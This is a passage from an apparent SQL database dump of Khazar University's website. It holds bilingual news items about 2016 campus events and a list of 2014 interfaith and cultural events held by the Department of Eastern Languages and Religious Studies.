qruplar,\r\ntəşkilatlar, ictimai birliklər və dövlət qurumları 2016-cı il noyabrın 27-nə\r\nkimi müraciət edə bilərlər. Müraciət etmək üçün əl işlərinin nümunələrini foto,\r\nvideo və ya eskiz şəklində göstərərək, qeydiyyatdan keçə bilərlər. Əl işləri\r\nfizika, riyaziyyat, həndəsə, mühəndislik, kimya, texniki, memarlıq və digər\r\ndəqiq sahələri üzrə istənilən materialdan hazırlana bilər və yaradıcılığını\r\nnümayiş etdirmək istəyən hər kəs sərgiyə müraciət edə bilər. Sərgidə əl\r\nişlərini nümayiş eetdirən iştirakçılara Xəzər Universiteti və Azərbaycan\r\nArxeoloqlar Cəmiyyəti adından ən yaxşı yaradıcı və orjinal əsərlərə\r\n“Sertifikat” veriləcək.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Sərgini izləmək istəyənlər səhər saat 9:00-dan 18:00-a kimi Xəzər\r\nUniversitetinin “Neftçilər” korpusunda şəxsiyyət vəsiqəsi ilə qeydiyyatdan\r\nkeçərək, elmə həsr olunmuş əsərləri yaxından izləyə bilərlər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Əlavə məlumatı aşağıdakı e-mail ünvanları və telefon nömrələri\r\nvasitəsilə almaq olar:</p>\r\n<p>Ulviyyə Hüseynova, <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>; Tel: (012) 421-79-16 (dax.212);</p>\r\n<p>Orxan Zamanov, <a href=\"mailto:redkolleqa@gmail.com\">redkolleqa@gmail.com</a>; (055) 854-41-65 (mobil).</p>\r\n<p>Vacib linklər:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.facebook.com/scienceparty2016/\">https://www.facebook.com/scienceparty2016/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.facebook.com/events/1617129631923114/1619795554989855/?notif_t=admin_plan_mall_activity&amp;notif_id=1479934117352483\">https://www.facebook.com/events/1617129631923114/1619795554989855/?notif_t=admin_plan_mall_activity¬if_id=1479934117352483</a>.</p>'),(2714,1625,'az','“Gələcəkdə mən” adlı psixoloji təlim təşkil olundu','2016-cı il noyabrın 19-da Gənclərin Şəxsi İnkişafı Mərkəzi olan Müasir Gənclər Klubu və Xəzər Universiteti Tələbə Məclisinin birgə əməkdaşlığı ilə Xəzər Universitetində psixoloq...','<p>2016-cı il noyabrın 19-da Gənclərin\r\nŞəxsi İnkişafı Mərkəzi olan Müasir Gənclər Klubu və Xəzər Universiteti Tələbə Məclisinin\r\nbirgə əməkdaşlığı ilə Xəzər Universitetində psixoloq Vəfa Əkbərin rəhbərliyi ilə\r\n“Gələcəkdə mən” adlı psixoloji təlim təşkil olundu. “Gələcək mən” adlı\r\npsixoloji seminarda “Mən kiməm?”; “Mənim potensialım?”; “Potensialı üzə\r\nçıxartma”, “Gələcəkdə mən” mövzuları müzakirə olundu.</p>\r\n<p>Seminarda Xəzər Universiteti tələbələri\r\nilə yanaşı, digər tələbələr də olmaqla, 50-yə yaxın iştirakçı var idi. Müasir Gənclər\r\nKlubu ilə gələcək günlərdə də bu cür təlim və seminarların davamı olacaq.</p>'),(2715,1626,'az','Tələbə Məclisi“Dance Club” təşkil edir','Xəzər Universiteti Tələbə Məclisinin təşkilatçılığı ilə hər həftənin şənbə günləri “Dance Club” öz fəaliyyətini davam etdirir. Tələbələrə tam ödənişsiz şəkildə təqdim olunan...','<p>Xəzər\r\nUniversiteti Tələbə Məclisinin təşkilatçılığı ilə hər həftənin şənbə günləri “Dance\r\nClub” öz fəaliyyətini davam etdirir. Tələbələrə tam ödənişsiz şəkildə təqdim\r\nolunan bu xidmətdən indiyədək 100-dən çox tələbə yararlanmışdır. Hələlik, sadəcə\r\nLatın-Amerika rəqslərinin öyrədildiyi “Dance Club”-da gələcəkdə başqa janrda rəqslər\r\ndə olacaq. Onu da qeyd edək ki, aktiv şəkildə dərslərdə iştirak edən tələbələr\r\naprelda Azərbaycan Respublikası İdman və Gənclər Nazirliyi tərəfindən təşkil\r\nolunan tələbələrarası rəqs yarışmasında iştirak haqqı qazanacaqlar.</p>'),(2716,1627,'en','Guest Lecture for Petroleum Engineering Students','On November 30th, 2016, Dr. Seyyed Alireza Tabatabaei, Director of Sahand Oil and Gas Research Institute in Tabriz, Iran, gave a lecture for Khazar University bachelor...','<p>On November 30<sup>th</sup>, 2016, Dr. Seyyed Alireza\r\nTabatabaei, Director of Sahand Oil and Gas Research Institute in Tabriz, Iran,\r\ngave a lecture for Khazar University bachelor, master and doctorate students\r\nmajoring in Chemical and Petroleum Engineering in the School of Engineering and\r\nApplied Science in the university’s Marble Hall. Dr. Tabatabaei graduated from\r\nPennsylvania State University and completed his PhD at Heriot-Watt University.\r\nHe worked for 25 years in the petroleum industry as a reservoir engineer, and\r\nwrote about 150 technical papers. </p>\r\n<p>The topic of his lecture for students was \"An Overview\r\non Enhanced Oil Recovery Methods.” After the lecture, Dr. Tabatabaei answered\r\nstudents\' questions.</p>\r\n<p>Dr. Hasan Niknafs, President of the University, and\r\nAssociate Professor Gasham Zeynalov, Head of the Department of Petroleum\r\nEngineering also participated in the lecture.&nbsp;</p>'),(2717,1628,'az','İqtisadiyyat və menecment fakültəsinin tələbələri xəbər yazmağı öyrəndilər','2016-cı il noyabrın 30-da Xəzər Universiteti Jurnalistika departamentinin koordinatoru Cabir Məmmədli universitetin İqtisadiyyat və menecment fakültəsinin II il tələbələri ilə görüşdü...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 30-da Xəzər Universiteti Jurnalistika\r\ndepartamentinin koordinatoru Cabir Məmmədli universitetin İqtisadiyyat və\r\nmenecment fakültəsinin II il tələbələri ilə görüşdü. Görüşün məqsədi\r\n“Jurnalist-tələbə klubu”nun yaradılması ilə əlaqədar tələbələrə jurnalistika, xəbər,\r\nxəbər yazmanın ümumi qaydaları, xəbərin xüsusiyyətləri və s. haqqında ilkin məlumat\r\nvermək idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, “Jurnalist-tələbə klubu”nun məqsədi universitetdə\r\nkeçirilən tədbirlərin daha operativ şəkildə işıqlandırılmasına kömək etməkdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda tələbələrin sualları cavablandırıldı.</p>'),(2718,1622,'en','Final Round of Spelling Bee Project','On November 26, 2016, the final round of the Spelling Bee project organized by a working group for languages at AEGEE-Baku (European Student Forums Baku Public Union)...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 26, 2016, the final round of\r\nthe Spelling Bee project organized by a working group for languages at\r\nAEGEE-Baku (European Student Forums Baku Public Union) in partnership with\r\nHeadway Language &amp; Development was held at Khazar University. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 19, information about the\r\nproject was given to the participants during a training event. On November 26,\r\nselected participants competed individually for first place in the competition.\r\nAt the end of the day, Headway Language &amp; Development awarded prizes\r\nto the top three winners. The first place winner was awarded an educational\r\nvoucher worth 100 manat from Headway Language &amp; Development.&nbsp;</p>'),(2719,1623,'en','Partnership with Azerbaijan Young Translators’ Association','Khazar University Career Center is planning to develop partnership with Azerbaijan Young Translators’ Association. The objective of their partnership is to organize training...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Khazar University Career Center is\r\nplanning to develop partnership with Azerbaijan Young Translators’ Association.\r\nThe objective of their partnership is to organize training and seminars for\r\nKhazar University translation students and to hold a series of events on “How\r\nto be a Professional Translator.” In addition, talented students will be\r\nrecruited to internship programs. The training programs are planned to begin\r\nnext month.&nbsp;</p>'),(2746,1626,'en','Student Union Dance Club','The Khazar University Student Union organizes a Dance Club every Saturday. More than 100 students have participated in this free activity. The club has been learning Latin American...','<p>The Khazar University Student\r\nUnion organizes a Dance Club every Saturday. More than 100 students have\r\nparticipated in this free activity. The club has been learning Latin American\r\ndances and plans to expand to other genres in the future. We note that students\r\nwho actively participate in these dance classes will be invited to participate\r\nin an intramural dance competition in April coordinated by the Ministry of\r\nYouth and Sports of the Azerbaijan Republic.&nbsp;</p>'),(2747,1625,'en','“Future Me” Psychological Training','On November 19, an event called “Future Me” was held at Khazar University with the leadership of psychologist Vafa Akbar and the joint coordination of Center for Individual...','<p>On November 19, an event called\r\n“Future Me” was held at Khazar University with the leadership of psychologist\r\nVafa Akbar and the joint coordination of Center for Individual Development of\r\nYouth, Modern Youth Club, and Khazar University. The seminar included topics\r\nsuch as “Who am I?”, “My potential,” “Bringing out your potential,” and “Future\r\nme.” </p>\r\n<p>The seminar participants\r\nincluded nearly 50 students from Khazar University and other universities.\r\nModern Youth Club plans to continue holding these types of events.</p>'),(2748,1642,'az','“Xəzər”in əməkdaşı “Şərq Əməkdaşlığı – Erasmus+ əlaqə seminarı”nda iştirak etdi','2016-cı il noyabrın 28-i və 29-da Xəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova Avropa Komissiyasının Erasmus+ proqramı çərçivəsində...','<p>2016-cı il noyabrın 28-i və 29-da\r\nXəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova Avropa\r\nKomissiyasının Erasmus+ proqramı çərçivəsində Ukraynanın Kiyev şəhərində təşkil\r\nolunmuş “Şərq Əməkdaşlığı – Erasmus+ əlaqə seminarı”nda iştirak etdi. Həmin\r\nseminarda Avropa ölkələrindən və tərəfdaş ölkələrədən 200-ə qədər universitet və\r\nMilli Erasmus+ ofislərinin rəhbərləri iştirak edirdilər. Seminarın ilk günü\r\nAvropa Komissiyasının baş direktoru Claire Morelin, Avropa Komissiyasının\r\nUkrayna üzrə səfiri Hugues Mingarelli və Ukrayna Təhsil və Elm Nazirinin\r\nbirinci müavini Vladimir Kovtunts açılış nitqi söylədilər. Bundan sonra,\r\nseminar öz işini müxtəlif sessiyalarda davam etdirdi, universitetlərarası\r\ndanışıqlar aparıldı. </p>\r\n<p>Seminarın ikinci günü uğurlu\r\nErasmus+ qrant layihələri təqdim etmək üçün müəyyən məlumatlar verildi, layihələrin\r\nyazılması və idarə olunması zamanı qarşıya çıxan problemlərin həll olunması\r\nyolları, tələbə və administrativ işçilərin mobilliyi və s. məsələlər müzakirə\r\nedildi.</p>'),(2749,1642,'en','Khazar Development Center Employee Participates in Eastern Partnership- Erasmus+ Seminar','On November 28-29, 2016, Ulkar Bayramova, project manager for Khazar University Development Center, participated in an “Eastern Partnership- Erasmus+ Seminar” in Kiev...','<p>On\r\nNovember 28-29, 2016, Ulkar Bayramova, project manager for Khazar University\r\nDevelopment Center, participated in an “Eastern Partnership- Erasmus+ Seminar”\r\nin Kiev, Ukraine within the framework of the European Commission’s Erasmus+\r\nprogram. Representatives from 200 universities in European countries and\r\npartner countries as well as National Erasmus+ offices participated in the\r\nseminar, which included information about the Erasmus+ program as well as\r\nvarious breakout sessions and networking opportunities. </p>\r\n<p>On\r\nthe second day of the seminar, information was given about presenting Erasmus+\r\ngrant projects, writing proposals, dealing with problems during project\r\nmanagement, and issues related to student and administrative mobility.&nbsp;</p>'),(2752,1644,'az','Olimpiadanın nəticələri açıqlandı','2016-cı il noyabrın 30-da Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində istedadlı şagirdlərin müəyyən edilməsi, onların üzə çıxarılması, elmə həvəs...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 30-da Xəzər Universitetinin nəzdində\r\nfəaliyyət göstərən “Dünya” məktəbində istedadlı şagirdlərin müəyyən edilməsi, onların\r\nüzə çıxarılması, elmə həvəs və maraqlarının artırılması məqsədilə məktəbdə\r\nkeçirilən olimpiadanın nəticələri açıqlandı. Bütün fənlər üzrə VI-IX siniflərdə\r\nşagirdlər arasında məktəbdaxili təşkil olunan olimpiadanın qaliblərixüsusi\r\ndiplomlarla təltif edildilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, olimpiada noyabrın 26-da keçirilmişdi.</p>'),(2753,1644,'en','Results of Olympiad Announced','On November 30, 2016, Khazar University’s affiliate Dunya School announced the results of its Olympiad which was held to discover talented students and increase...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 30, 2016, Khazar\r\nUniversity’s affiliate Dunya School announced the results of its Olympiad which\r\nwas held to discover talented students and increase their motivation and\r\ninterest in science.&nbsp; This competition was held in all subjects for grades\r\n6 to 9, and winners were given special certificates. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The Olympiad was held on November 26.&nbsp;</p>'),(2754,1645,'az','Xəbər və Elanlar','Xəbər və Elanlar','<h3 style=\"text-align:justify\"><strong>Past Events</strong></h3><p style=\"text-align:justify\">November 16,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6415.html\">Students Visit Christian Places of Worship</a></p><p style=\"text-align:justify\">On November 16, as organized by the Department of Eastern Languages and Religious Studies, a trip was organized to Christian places of worship as part of religious tolerance event entitled \"Harmony of Diversity.\" Under the leadership of Dr. Elnura Azizova, Head of the Department, university students participated in the eucharist (bread and wine) ceremony at Myrrh Bearers Orthodox Church. Then Father Constantine, press secretary of Baku and Caspian Eparchy, gave information to the students about the place of orthodoxy among other branches of Christianity as well as the history and activity of Myrrh Bearers Church. Then students took part in a religious Sunday ceremony at the Holy Virgin Mary Catholic Church and listened to the pastor’s discussion of the history of Catholicism, relations between the Catholic and other Christian denominations, and activities of the Catholic Church.</p><p style=\"text-align:justify\">Photos were taken at the end of the event, which helped instill in students the concept of tolerance toward different faiths.</p><p style=\"text-align:justify\"><a href=\"http://old.khazar.org/news/2014/Students-Visit-Christian-Places-of-Worship_6415.html\">http://old.khazar.org/news/2014/Students-Visit-Christian-Places-of-Worship_6415.html</a></p><p style=\"text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\">November 1,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6411.html\">Students Visit Jewish Places of Worship</a></h3><p style=\"text-align:justify\">On November 1, as organized by the Department of Eastern Languages and Religious Studies, within the framework of a series of&nbsp; \"Harmony of Diversity \" events to develop religious tolerance, Khazar Students visited Jewish places of worship. At first, students watched the weekly Sabbath ritual in an Ashkenazi Jewish synagogue. After the ritual, students listened to a lecture by rabbi Segal Shneor, Chairman of the Ashkenazi Jewish community, about the faith, worship, and traditions of Judaism. Then students’ questions were answered.</p><p style=\"text-align:justify\">Then students visited the synagogue of the Mountain Jews, where they met Milikh Yevdayev, chairman of the community, and were informed about the history of the Jewish community and relations with members of other religions.</p><p style=\"text-align:justify\">Dr. Elnura Azizova, Head of the Department, gave them information about the importance of the role of universities in spreading multiculturalism and developing religious, ethnic and cultural tolerance among young people. She also spoke about activities regularly carried out in this field by Khazar University.</p><p style=\"text-align:justify\"><a href=\"http://old.khazar.org/news/2014/Students-Visit-Jewish-Places-of-Worship_6411.html\">http://old.khazar.org/news/2014/Students-Visit-Jewish-Places-of-Worship_6411.html</a></p><h2 style=\"text-align:justify\">&nbsp;</h2><h3 style=\"text-align:justify\">October 23-25,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6376.html\">Instructor Participates in International Symposium in Turkey</a></h3><p style=\"text-align:justify\">On October 23-25, Dr. Zivar Huseynli, instructor of the Department of Eastern Languages and Religious Studies, participated in an international symposium held in Zonguldak, Turkey.</p><p style=\"text-align:justify\">60 researchers and historians from 11 different countries participated in the symposium, entitled “1st International Symposium on&nbsp;Historical Consciousness&nbsp;and&nbsp;Historiography&nbsp;among Turks,\" which was organized by Bulent Ecevit University, the Black Sea Strategic Investigation Center (KARSAM) and the Turkish Historical Society. Ziver Huseynli&nbsp;made a presentation on \"Approaches to Turkish history among Turkish historians who wrote in Persian in the 16-17 centuries\" at the&nbsp;symposium.&nbsp;</p><p style=\"text-align:justify\"><a href=\"http://old.khazar.org/news/2014/Instructor-Participates-in-International-Symposium-in-Turkey_6376.html\">http://old.khazar.org/news/2014/Instructor-Participates-in-International-Symposium-in-Turkey_6376.html</a></p><h2 style=\"text-align:justify\"><br></h2><h3 style=\"text-align:justify\">October 16,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6322.html\">Seminar on Academic and Cultural Relations Between Egypt and Azerbaijan Held at Khazar University</a></h3><p style=\"text-align:justify\">On October 16, as jointly organized by the Eastern Languages and Religious Studies Department of Khazar University and the Egyptian Cultural Center, a seminar on \"Egypt-Azerbaijan relations: from the perspective of language, literature and culture\"&nbsp; was held at the university. Dr. Elnura Azizova, Head of the Department, opened the event by speaking about the importance of the Arabic language on global and local levels.</p><p style=\"text-align:justify\">Ahmad Sami, Director of the Egyptian Cultural Center, spoke about academic and cultural relations between Azerbaijan and Egypt. Professor Tariq Chalabi, Head of the Department of Arabic Language and Literature of&nbsp; Ain Shams University in Egypt, expressed his opinion about Azerbaijan-Egypt literary and linguistic relations, and Dr. Islam Sharkavi, Head of the Arabic Language Department of the same university, shared ideas about new methods for non-Arabs to learn Arabic.</p><p style=\"text-align:justify\">After the lectures, discussions were held on subject with the participation of Dr. Tarana Akbarova and Kamil Sherifov, Arabic language instructors of Khazar University. A question and answer session was held with students who are learning Arabic.</p><p style=\"text-align:justify\"><a href=\"http://old.khazar.org/news/2014/Seminar-on-Academic-and-Cultural-Relations-Between-Egypt-and-Azerbaijan-Held-at-Khazar-University_6322.html\">http://old.khazar.org/news/2014/Seminar-on-Academic-and-Cultural-Relations-Between-Egypt-and-Azerbaijan-Held-at-Khazar-University_6322.html</a></p><h2 style=\"text-align:justify\"><br></h2><h3 style=\"text-align:justify\">October 3,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6301.html\">Seminar on Feast of Sacrifice</a></h3><p style=\"text-align:justify\">On October 3, as jointly organized by&nbsp;the&nbsp;Eastern Languages and Religious Studies Department and&nbsp;the&nbsp;Department of Philosophy at Khazar University,&nbsp; a seminar was held on the Feast of Sacrifice. Head of the Department of Eastern Languages and Religious Studies,&nbsp;Dr. Elnura Azizova,&nbsp;spoke&nbsp; on the \"The concept of a holiday in Islamic culture and social aspects of holidays.\"&nbsp;She also spoke about&nbsp;the social significance of holidays in Islam&nbsp;as a&nbsp;unifying element.</p><p style=\"text-align:justify\">Professor Mehmet Azimli,&nbsp;Head of the Department of Islamic History and Arts at&nbsp;the&nbsp;School of Theology of Hittite University, made&nbsp;a&nbsp;presentation on \"The concept of sacrifice in Islam\"&nbsp;and&nbsp;gave information&nbsp;about the role of sacrifice&nbsp;in&nbsp;the&nbsp;belief system of Islam,&nbsp;the public understanding of sacrifice, and its characteristics as a type of worship.</p><p style=\"text-align:justify\">Dr. Mail Yagubov,&nbsp;Head of Khazar University’s&nbsp;Department of Philosophy, made a presentation on \"The concept of sacrifice in Islam and Christian scholasticism.\"&nbsp;He&nbsp;explained&nbsp;that&nbsp;Abraham\'s story&nbsp;is about surrender&nbsp;from&nbsp;a&nbsp;philosophical point of view. In the end,&nbsp; students’&nbsp;questions related to the topic were answered and discussions were&nbsp;held.</p><p style=\"text-align:justify\"><a href=\"http://old.khazar.org/news/2014/Seminar-on-Feast-of-Sacrifice_6301.html\">http://old.khazar.org/news/2014/Seminar-on-Feast-of-Sacrifice_6301.html</a></p><p style=\"text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\">September 8-12, Head of Department Participates at&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6268.html\">Tempus Project Training on “Writing Guidelines\"</a></h3><p style=\"text-align:justify\">On September 8-12, within the framework “The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” - (ESFIDIP) project, a training on \"Writing guidelines\" was held at University of Macedonia (Thessaloniki / Greece) one of the European partners of the project. &nbsp;Dr.&nbsp; Elnura Azizova, Head of the Eastern Languages and Religious Studies Department of Khazar University, also participated in the training.</p><p style=\"text-align:justify\">The training covered information related to disability issues in European and Greek legislation, identifying and analyzing the needs of students with disabilities, and rules relating to the accessibility of higher education institutions. The training participants had the opportunity to see the facilities, equipment, and library resources for use by students with disabilities at the University of Macedonia.&nbsp;</p><p style=\"text-align:justify\"><a href=\"http://old.khazar.org/news/2014/Tempus-Project-Training-on-Writing-Guidelines_6268.html\">http://old.khazar.org/news/2014/Tempus-Project-Training-on-Writing-Guidelines_6268.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>12 May 2014</strong></p><h3 style=\"text-align:justify\"><strong>\"Korean Cuisine Day\" at Khazar University</strong></h3><p style=\"text-align:justify\">&nbsp;On May 12, as organized by the Department of Eastern Languages of Khazar University, the Korea center and the Korean Embassy to Azerbaijan, “Korean Cuisine Day \" was held. This event&nbsp;was part of&nbsp;the \"Eastern hospitality\"&nbsp;series of cultural events. At the opening of the event, head of the department, Dr. Elnura Azizova, gave information about Korean language education at Khazar University as well as events related to the promotion of Korean culture.</p><p style=\"text-align:justify\">Khazar University’s founder and Chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli, talked about interest in different cultures, in the category of Eastern cultures at Khazar University, especially Korean culture, and emphasized the role of Korean cuisine in learning Korean culture.</p><p style=\"text-align:justify\">Ambassador of the Republic of Korea to Azerbaijan, Choi Suk-inn, made a presentation stressing the importance of cooperation between Khazar University and the Korean Embassy and praised the achievements of the university students in this area.</p><p style=\"text-align:justify\">Students made ​​presentations reflecting different areas of Korean culture. They also performed a Korean dance. Accompanied by Korean Language Teacher Younhong Lee on guitar, students sang a Korean&nbsp;song. At the end of the event, 13 different dishes representing Korean cuisine were presented to the participants.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Korean-Cuisine-Day-at-Khazar-University_6111.html\" target=\"_blank\">http://old.khazar.org/news/2014/Korean-Cuisine-Day-at-Khazar-University_6111.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>08 May 2014</strong></p><h3 style=\"text-align:justify\"><strong></strong><strong>\"Judaism: Beliefs and Worldview\"</strong></h3><p style=\"text-align:justify\">&nbsp;On May 8, as organized by the Department of Eastern Languages ​​and Religious Studies of Khazar University, an event entitled&nbsp; \"Judaism: beliefs and worldview\" was held as part of the \"experience of living together\" series.</p><p style=\"text-align:justify\">Opening the event, Head of the Department Dr. Elnura Azizova noted that various programs to promote and study of world religions have been implemented at&nbsp; Khazar University in order to recognize and understand diversity. Then, students of the School of Humanities and Social Sciences gave information about the structure of Judaism, faith, worship, morality, and the public. Chairman of the Ashkenazi Jewish community in Azerbaijan, Ravvin Shneor, spoke about the history of Judaism and the Jewish community to the students, and answered students’ questions related to Judaism.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Judaism:-Beliefs-and-Worldview_6107.html\" target=\"_blank\">http://old.khazar.org/news/2014/Judaism:-Beliefs-and-Worldview_6107.html</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">&nbsp;<strong>01 May 2014</strong></p><h3 style=\"text-align:justify\"><strong>\"Christianity: Belief and Worldview\" Event</strong></h3><p style=\"text-align:justify\">On May 1, as organized by the Khazar University Department of Eastern Languages and Religious Studies, an event in the \"Experience of Living Together\" series entitled \"Christianity: belief and worldview\" was held.</p><p style=\"text-align:justify\">At the opening of the event, Dr. Elnura Azizova, head of the department, said that Azerbaijan is a region where Christians and members of other religions have lived together throughout history, and this important tradition continues here.</p><p style=\"text-align:justify\">Then, students of the School of Humanities and Social Sciences made presentations about the establishment, dissemination, faith, worship and moral system of Christianity and its current state. Robert Mobili, Albanian-Udi community leader, presented a slide show about the history and current state of the Albanian-Udi Church, which is the oldest representative of Christianity. At the end of the event, students’ questions about Christianity and the Albanian-Udi church were answered.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Christianity:-Belief-and-Worldview-Event_6083.html\" target=\"_blank\">http://old.khazar.org/news/2014/Christianity:-Belief-and-Worldview-Event_6083.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>24 April 2014</strong></p><h3 style=\"text-align:justify\"><strong>Event on \"Confucius&nbsp;and Chinese Culture\"</strong></h3><p style=\"text-align:justify\">International events are held all over the world on the occasion of the 10th anniversary of the establishment of the Confucius Institutes, which promote Chinese language and culture in the world.</p><p style=\"text-align:justify\">On April 24, in this regard, an event on \"Confucius and Chinese Culture\" was held at the university with the organization of the Department of Eastern Languages and Religious Studies of Khazar University.</p><p style=\"text-align:justify\">At the opening ceremony, Dr. Elnura Azizova, Head of the Department, talked about the importance given to the teaching of Chinese language and culture at Khazar University and highlighted the role of the activities of the Confucius Institute operating in this field at the university.</p><p style=\"text-align:justify\">Then the students of the School of Humanities and Social Sciences gave a presentation on the great Chinese philosopher Confucius\'s life, philosophy, and his role in promoting Chinese culture. Director of the Confucius Institute at Khazar University, Ms. Fen-xua, spoke about the activities and future plans of the Confucius Institute.&nbsp;</p><p style=\"text-align:justify\">Students of the School of Economics studying the Chinese language sang songs in Chinese, and their performance warmly applauded.</p><p style=\"text-align:justify\">The event was brought to a close with a traditional Chinese tea served by the Confucius Institute.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>31 March 2014</strong></p><h3 style=\"text-align:justify\"><strong>Seminar on \"Human Rights, Freedom of Religion and Islam\"</strong></h3><p style=\"text-align:justify\">&nbsp;On March 31, as organized by the Department of Eastern Languages ​​and Religious Studies, a seminar on \"Human rights, freedom of religion and Islam\" was held at Khazar University. Dr. &nbsp;Elnura Azizova, head of the department, opened the event, stating that the issue of human rights and religious freedom&nbsp;has&nbsp;been discussed in a variety of different domains in the context of Islam in recent years&nbsp;and is becoming increasingly more important. &nbsp;</p><p style=\"text-align:justify\">Then Elnura Azizova reported on \"Analysis of the concept of freedom of religion in Islamic human rights declarations,”&nbsp;Dr. Ali Bulut (Suleyman Demirel University, Turkey)&nbsp;reported on \"Overview of the Qur\'an in the context of human rights,” Dr. Elmin Aliyev (Khazar University) reported on \"Freedom of thought in Islam in the context of science and philosophy,\"&nbsp;and&nbsp; theologian Salih Kazımov (BSU) reported on \"The attitude of Islam toward the members of other religions.” After the lectures,&nbsp;reports were discussed with the participation of&nbsp;employees of the university&nbsp;&nbsp;Dr. Mayıl Yagubov, Jabir Mammadov, Dr.&nbsp;Zivar Huseynova, and students.&nbsp;</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/s7494/e5989/Seminar-on-Human-Rights-Freedom-of-Religion-and-Islam-to-be-Held/en\" target=\"_blank\">http://old.khazar.org/e5989/Seminar-on-Human-Rights-Freedom-of-Religion-and-Islam-to-be-Held/en</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>27 March 2014</strong></p><h3 style=\"text-align:justify\"><strong>Seminar on \"Qur\'an al-Karim: a Source of Faith and Culture\"</strong></h3><p style=\"text-align:justify\">On March 27, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies,&nbsp;a seminar on&nbsp;\"Qur\'an al-Karim&nbsp; as a source of faith and culture\" was held. At the opening of the ceremony, the head of the department, Elnura Azizova, spoke about the role of Qur\'an al-Karim&nbsp;through 14 centuries of Muslim identity formation, as well as its importance for the customs, traditions, and cultural heritage of Azerbaijani people.</p><p style=\"text-align:justify\">The speaker of the seminar, instructor of School of Theology&nbsp;of Suleyman Demirel&nbsp;University&nbsp;(Deputy Dean of the Faculty of Theology at the University at present),&nbsp;Dr. Ali Bulut, talked about features of Qur\'an al-Karim as the holy book of Islam and as a source of Islamic culture. After giving information about the history of literature of the Arabs on the basis of the establishment of Islam, he talked about the writing process of the Quran, which remained unchanged throughout 14 centuries.&nbsp; At the end of the report&nbsp;he answered students\' questions about the position of members of other religions,&nbsp;male-female equality, peace-military relations,&nbsp;the relationship between faith/worship and morality according to the Qur\'an,&nbsp;and many other interesting topics.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Seminar-on-Quran-al-Karim:-a-Source-of-Faith-and-Culture_5984.html\">http://old.khazar.org/news/2014/Seminar-on-Quran-al-Karim:-a-Source-of-Faith-and-Culture_5984.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>18 March 2014</strong></p><h3 style=\"text-align:justify\"><strong>Cultural&nbsp; Event on “Last Tuesday Traditions in Azerbaijan and Iran”</strong></h3><p style=\"text-align:justify\">On March 18, as organized by the Department of Eastern Languages ??and Religious Studies, an event on “Last Tuesday traditions in Azerbaijan and Iran” was held. At the opening ceremony, Elnura Azizova, &nbsp;Head of the Department, noted that &nbsp;over the centuries Azerbaijan and Iran have hared a common heritage, part of which is celebrating Last Tuesday before the Novruz holiday. Then Zivar Huseynli, Persian language instructor, spoke about the importance of Last Tuesday in Azerbaijan and Iranian culture. Students 